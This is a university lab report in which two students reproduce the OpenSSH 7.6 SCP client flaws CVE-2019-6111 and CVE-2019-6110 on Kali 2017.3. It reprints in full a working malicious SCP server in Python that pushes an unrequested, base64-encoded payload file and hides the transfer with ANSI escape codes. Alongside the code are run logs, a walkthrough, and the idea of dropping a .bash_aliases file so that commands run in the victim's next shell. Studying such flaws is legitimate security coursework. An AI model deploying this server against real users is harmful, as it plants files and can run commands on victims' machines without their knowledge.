Sri Lanka Institute of Information Technology

SCP Client Vulnerability in OpenSSH 7.6 (CVE 2019-6111 and CVE 2019-6110)

Group Assignment

IE2012 – Systems and Network Programming
Week Day Batch

Submitted by:

Student Registration Number	Student Name
S. Kaviseshan	IT20070144
M. Thushitharan	IT19983370

Date of submission: 28/05/2021

SCP Client Vulnerability in OpenSSH 7.6

Kaviseshan. S
Cyber Security – Faculty of Computing
Sri Lanka Institute of Information Technology
Malabe, Sri Lanka.
IT20070144

Thushitharan. M
Cyber Security – Faculty of Computing
Sri Lanka Institute of Information Technology
Malabe, Sri Lanka
IT19983370

Abstract

This electronic report is about Linux open SSH Vulnerability Exploitation. This report is used to explain the process of the vulnerability exploitation. After exploit this vulnerability server can send the non-requested file to the client. We have done this exploitation for the System Networking Programming. We did this exploitation on Kali linux (version 2017.3).

The data for this assignment was collected through our own tired. We gathered information for this assignment in online. This report is explaining about the vulnerability details of the open SSH 7.6 and the methods of vulnerability exploitation. This report we have added literature survey of this exploitation. We have explained how we get the details of this vulnerability and where we got it. We have explained how we have done the vulnerability exploitation and what are the methods we that we used to do this vulnerability exploitation. We have mentioned what are the linux versions are affected by this vulnerability.

We have done this exploitation with python code for do this exploitation. We run this code in python3. And we attached the python code and the screen shots of the outputs. End of the report we attached references using IEEE styles.

Keywords—OpenSSH, SCP, Vulnerability, Exploitation

I. INTRODUCTION

We have selected SCP Client vulnerability in OpenSSH 7.6 for SNP assignment. We have researched and studied about SSH and SCP from the online CVE patches writeups and books to do this assignment. If we exploit this vulnerability, we can send the malicious file in the transaction.

In Unix systems scp is a command that is used to securely transfer directories and files between local host and remote host or between two remote hosts. It is based on Secure Shell (SSH) protocol. SSH is a network protocol used to connect securely two computers over an unsecure network [1].

The SCP client vulnerability identified in OpenSSH 7.6. The server chose which file is sent to client. However, the SCP client only validate the object name returned. Malicious SCP server or Man in the middle attacker can modify the random files in the client target folder [1]. If recursive operation is performed, Server can manipulate the subdirectories also.
Arbitrary file allows you to modify everything on the system. This Malicious server write arbitrary files on target directory.
We selected kali linux version (2017.3) with OpenSSH version 7.6 to exploit this vulnerability [1].

The Vulnerabilities we used in our exploitation

1. **CWE-20** - SCP client missing received object name validation [**CVE-2019-6111**]
2. **CEW-451**- SCP client spoofing via stderr [**CVE-2019-6110**]

II. LITRETURE REVIEW

After many research on the internet we found a proper article on the same topic which has written by the hacker who found the same vulnerability. These two vulnerabilities were identified by Harry Sintonen who works in a cyber security company called F-Secure Corporation. This vulnerability is discovered in January 31st 2019 in their research paper. He didn't mention exploitation code in his article. He just wrote about the vulnerability and exploitation methods. We got the exploitation python code from another hacker called Mark E. Haase. He developed the python3 exploitation code for CVE-2019-6111 and CVE-2019-6110 vulnerabilities and posted in his GitHub repository with titled SSHtranger_Things.

III. EXPLOITATION PROCESS

Purpose:

Our goal for this exploitation is download non-requested files from the host machine without any name validation by giving any random password in the client's password field.

Lab Setup:

1. OpenSSH version 7.6p1
2. Linux OS environment which has SSH version 7.6.(We selected Kali Linux 2017.3)

Get Started:

We are going to demonstrate this vulnerability exploitation using the python code that we got for this vulnerability.

Exploitation Python Code:

This is the basic python3 code that we have got from hacker called Mark E. Haase [2].

```
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading

logging.basicConfig(level=logging.INFO)

dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
    b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
    b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
    b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
    b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
    b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
    b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
    b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
    b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
    b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
    b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))

class ScpServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_auth_password(self, username, password):
        logging.info('Authenticated with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opened session channel %d', chanid)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_exec_request(self, channel, command):
        command = command.decode('ascii')
        logging.info('Approving exec request: %s', command)
        parts = command.split(' ')
        # Make sure that this is a request to get a file:
        assert parts[0] == 'scp'
        assert '-f' in parts
        file = parts[-1]
        # Send file from a new thread.
        threading.Thread(target=self.send_file, args=(channel, file)).start()
        return True

    def send_file(self, channel, file):
        '''
        The meat of the exploit:
            1. Send the requested file.
            2. Send another file (exploit.txt) that was not requested.
            3. Print ANSI escape sequences to stderr to hide the transfer of
               exploit.txt.
        '''
        def wait_ok():
            assert channel.recv(1024) == b'\x00'
        def send_ok():
            channel.sendall(b'\x00')
        wait_ok()

        logging.info('Sending requested file "%s" to channel %d', file,
            channel.get_id())
        command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(dummy)
        send_ok()
        wait_ok()

        logging.info('Sending malicious file "exploit.txt" to channel %d',
            channel.get_id())
        command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(payload)
        send_ok()
        wait_ok()

        logging.info('Covering our tracks by sending ANSI escape sequence')
        channel.sendall_stderr("\x1b[1A".encode('ascii'))
        channel.close()

def main():
    logging.info('Creating a temporary RSA host key...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('localhost', 2222))
    sock.listen(0)
    logging.info('Listening on port 2222...')
    while True:
        client, addr = sock.accept()
        logging.info('Received connection from %s:%s', *addr)
        transport = paramiko.Transport(client)
        transport.add_server_key(host_key)
        server = ScpServer()
        transport.start_server(server=server)

if __name__ == '__main__':
    main()
```

Issues we faced beginning of the Exploitation:

We run the python code in Kali Linux 2021. It also worked and started to listen port from the client connection.

$ python3 server.py

```
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 server.py
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
```

Then we opened a new terminal tab to create test.txt file and gave a random password (1234)

$scp -P 2222 kali@localhost:test.txt .

```
┌──(kali㉿kali)-[~/Downloads]
└─$ scp -P 2222 kali@localhost:sample.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be estab
lished.
RSA key fingerprint is SHA256:/MhqrapdedDUHfRQJd3+vbJmM/3uUNwCNdAjNCM9vvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known host
s.
kali@localhost's password:
sample.txt                                    100%   32    70.8KB/s   00:00
protocol error: filename does not match request
```

After this step, it threw protocol error in client server and Assertion error in host server,

```
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 server.py
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
INFO:root:Received connection from 127.0.0.1:35004
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_8.4p1)
INFO:paramiko.transport:Auth rejected (none).
INFO:root:Authenticated with kali:1234
INFO:paramiko.transport:Auth granted (password).
INFO:root:Opened session channel 0
INFO:root:Approving exec request: scp -f sample.txt
INFO:root:Sending requested file "sample.txt" to channel 0
INFO:root:Sending malicious file "exploit.txt" to channel 0
Exception in thread Thread-3:
Traceback (most recent call last):
  File "/usr/lib/python3.9/threading.py", line 954, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.9/threading.py", line 892, in run
    self._target(*self._args, **self._kwargs)
  File "/home/kali/Downloads/server.py", line 81, in send_file
    wait_ok()
  File "/home/kali/Downloads/server.py", line 60, in wait_ok
    assert channel.recv(1024) == b'\x00'
AssertionError
```

So, we checked the python code for whether any errors were or not. And, we found that no errors in the code. According to the research the researcher mentioned that this vulnerability was found in SSH version 7.6. Then we checked the SSH version in our kali machine. Oops! It was OpenSSH_8.4p1 version.

$ssh -V

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -V
OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1i  8 Dec 2020
```

It was our mistake. Then we realized that the error was happened because of the SSH version, because Kali 2021 version has patched this vulnerability. After that we needed OpenSSH_7.6p1 version. Linux systems are not allowed us to downgrade the packages because the developers of linux-systems upgraded the version of OS because of this type of vulnerabilities exits in that version. so, we researched for the Linux based Operating System which is having OpenSSH_7.6p1 version.

We searched for the vulnerable OpenSSH_6.1version released year. because, the linux Operating system which was released on same year is vulnerable to this attack we thought.

OpenSSH 7.6/7.6p1 (2017-10-03)

OpenSSH 7.6 was released on 2017-10-03. It is available from the mirrors listed at https://www.openssh.com/.
OpenSSH is a 100% complete SSH protocol 2.0 implementation and includes sftp client and server support.

Once again, we would like to thank the OpenSSH community for their continued support of the project, especially those who contributed code or patches, reported bugs, tested snapshots or donated to the project. More information on donations may be found at: http://www.openssh.com/donations.html

Potentially-incompatible changes
==========

This release includes a number of changes that may affect existing configurations:

* ssh(1): delete SSH protocol version 1 support, associated configuration options and documentation.

* ssh(1)/sshd(8): remove support for the hmac-ripemd160 MAC.

* ssh(1)/sshd(8): remove support for the arcfour, blowfish and CAST ciphers.

* Refuse RSA keys <1024 bits in length and improve reporting for keys that do not meet this requirement.

* ssh(1): do not offer CBC ciphers by default.

(Webpage: https://www.openssh.com/releasenotes.html)

The openssh website showed that the OpenSSH7.6 version was released in 2017. So, we searched for the kali linux version released on the same year from old kali repositories containing website old.kali.org and we found the kali version 2017.3 which is having the same OpenSSH version that we are searching for.

Index of /kali-images/kali-2017.3

Name	Last modified	Size	Description
Parent Directory		-	
SHA1SUMS	2017-11-09 16:21	821	
SHA1SUMS.gpg	2017-11-09 16:21	833	
SHA256SUMS	2017-11-09 16:21	1.1K	
SHA256SUMS.gpg	2017-11-09 16:21	833	
kali-linux-2017.3-amd64.iso	2017-11-09 13:51	2.7G	
kali-linux-2017.3-i386.iso	2017-11-09 16:02	2.7G	
kali-linux-e17-2017.3-amd64.iso	2017-11-09 14:10	2.5G	
kali-linux-kde-2017.3-amd64.iso	2017-11-09 14:31	2.7G	
kali-linux-light-2017.3-amd64.iso	2017-11-09 14:41	823M	
kali-linux-light-2017.3-armel.img.xz	2017-11-09 14:59	477M	
kali-linux-light-2017.3-armhf.img.xz	2017-11-09 14:29	583M	
kali-linux-light-2017.3-i386.iso	2017-11-09 16:14	838M	
kali-linux-lxde-2017.3-amd64.iso	2017-11-09 15:00	2.5G	
kali-linux-mate-2017.3-amd64.iso	2017-11-09 15:20	2.6G	
kali-linux-xfce-2017.3-amd64.iso	2017-11-09 15:40	2.5G	

Apache/2.4.25 (Debian) Server at old.kali.org Port 80

(Webpage: http://old.kali.org/kali-images/kali-2017.3/)

After installed kali linux207.3 we checked the python code same as we ran before in this machine. This time it threw up paramiko package library error. Paramiko is a library that provides client and server functionality in python programming. So, we tried to install paramiko using pip. This time it threw up pip command error. Pip is a python package manager that is used to manage python packages and files. So, we installed pip using these two commands

$ sudo apt update
$ sudo apt install python3-pip

It was successfully installed. Then we tried to install paramiko package using this command

$sudo apt-get install python-paramiko

This also successfully installed. So finally, we tried to run the python3 exploitation code using the same command that we used to test the code before.

```
root@kali:~/Desktop/SNP# python3 server.py
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
```

BOOM!!! It's worked. The exploitation code has successfully created RSA Host key and started to listen on port 2222.

How the Exploitation Code Works:

After run the python script to create the host hey, we opened another terminal window and executed following command there.

$ scp -P 2222 kali@localhost:test.txt .

This command is used to download from the host machine / remote computer using secure copy protocol (scp) command. In that command we input port number which is created by host, client name in localhost, and requested file name.

Following part is in the exploitation code is using paramiko packages to check the ports in localhost, scp protocols and ssh protocols.

```
class ScpServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_auth_password(self, username, password):
        logging.info('Authenticated with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opened session channel %d', chanid)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_exec_request(self, channel, command):
        command = command.decode('ascii')
        logging.info('Approving exec request: %s', command)
        parts = command.split(' ')
        # Make sure that this is a request to get a file:
        assert parts[0] == 'scp'
        assert '-f' in parts
        file = parts[-1]
        # Send file from a new thread.
        threading.Thread(target=self.send_file, args=(channel, file)).start()
        return True
```

Following part of the exploitation code is used to send the client requested file.

```
def send_file(self, channel, file):
    '''
    The meat of the exploit:
        1. Send the requested file.
        2. Send another file (exploit.txt) that was not requested.
        3. Print ANSI escape sequences to stderr to hide the transfer of
           exploit.txt.
    '''
    def wait_ok():
        assert channel.recv(1024) == b'\x00'
    def send_ok():
        channel.sendall(b'\x00')

    wait_ok()

    logging.info('Sending requested file "%s" to channel %d', file,
        channel.get_id())
    command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
    channel.sendall(command)
    wait_ok()
    channel.sendall(dummy)
    send_ok()
    wait_ok()
```

Following is an important section. This part of the exploitation code sends unrequested file (exploit.txt). This is represented by CVE 2019-6111 Patch. Whatever file/folder that the client request, it will send exploit.txt file additionally [3].

```
logging.info('Sending malicious file "exploit.txt" to channel %d',
    channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
```

Following part of the exploitation code executes ANSI escape sequences to hide the transaction of exploit.txt file. This part is represented by CVE 2019-6110 patch. The client will display the text that we send to stderr, even if that contains ANSI escape sequences [4]. We can send ANSI codes that hide the fact that the non-requested file was transmitted.

```
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
```

The following exploitation code segment is used to check the port number, localhost and filename and execute the code.

```
def main():
    logging.info('Creating a temporary RSA host key...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('localhost', 2222))
    sock.listen(0)
    logging.info('Listening on port 2222...')

    while True:
        client, addr = sock.accept()
        logging.info('Received connection from %s:%s', *addr)
        transport = paramiko.Transport(client)
        transport.add_server_key(host_key)
        server = ScpServer()
        transport.start_server(server=server)
```

IV. Exploitation Results

SCP connection successfully established and the requested file test.txt and non-requested file exploit.txt created in the same folder. Not only exploit.txt, also we can send malware programs using this vulnerability.

The attacker will control the server or Man-in-the-Middle (*) attack drops .bash_aliases file to victim's home directory when the client performs scp operation from the server. The transfer of extra files is hidden by sending ANSI control sequences via stderr. For example:

user@local:~$ scp user@remote:readme.txt .
readme.txt 100% 494 1.6KB/s 00:00
user@local:~$

Once the victim launches a new shell, the malicious commands in .bash_aliases get executed. Man-in-the-Middle attack does require the victim to accept the wrong host fingerprint.

Authentication Successful.

Client Side.

```
root@kali:~/Desktop/SNP# scp -P 2222 kali@localhost:sample.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be establis
hed.
RSA key fingerprint is SHA256:AMKJuIy53SdzJJMy8yIVCH16fnrcA0uFEZOtGCtLZVc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
kali@localhost's password:
sample.txt                                    100%   32     0.7KB/s   00:00
root@kali:~/Desktop/SNP#                      100% 2857    65.2KB/s   00:00
```

Host Machine.

```
root@kali:~/Desktop/SNP# python3 server.py
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
INFO:root:Received connection from 127.0.0.1:38122
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_7.6p1)
INFO:paramiko.transport:Auth rejected (none).
INFO:root:Authenticated with kali:1234
INFO:paramiko.transport:Auth granted (password).
INFO:root:Opened session channel 0
INFO:root:Approving exec request: scp -f sample.txt
INFO:root:Sending requested file "sample.txt" to channel 0
INFO:root:Sending malicious file "exploit.txt" to channel 0
INFO:root:Covering our tracks by sending ANSI escape sequence
INFO:paramiko.transport:Disconnect (code 11): disconnected by user
```

Non-Requested file exploit.txt.

V. Acknowledgement

We would like to mention our thank note to Harry Sinenton who identified this vulnerability and Mark E. Haase who wrote python code for this exploitation and showed us the steps to do the exploitation.

VI. References

[1] Harry Sintonen, “SCP client multiple vulnerabilities,” [Online]. Available:https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt. [Accessed: 25- May- 2021]

[2] Mark E. Haase, “SSHtranger Things Exploit POC,” [Online]. Available: https://gist.github.com/mehaase/63e45c17bdbbd59e8e68d02ec58f4ca2. [Accessed: 25- May- 2021]

[3] “CVE-2019-6111”, [Online]. Available: https://www.cvedetails.com/cve/CVE-2019-6111/. [Accessed: 25- May- 2021]

[4] “CVE-2019-6110”, [Online]. Available: https://www.cvedetails.com/cve/CVE-2019-6110/. [Accessed: 25- May- 2021]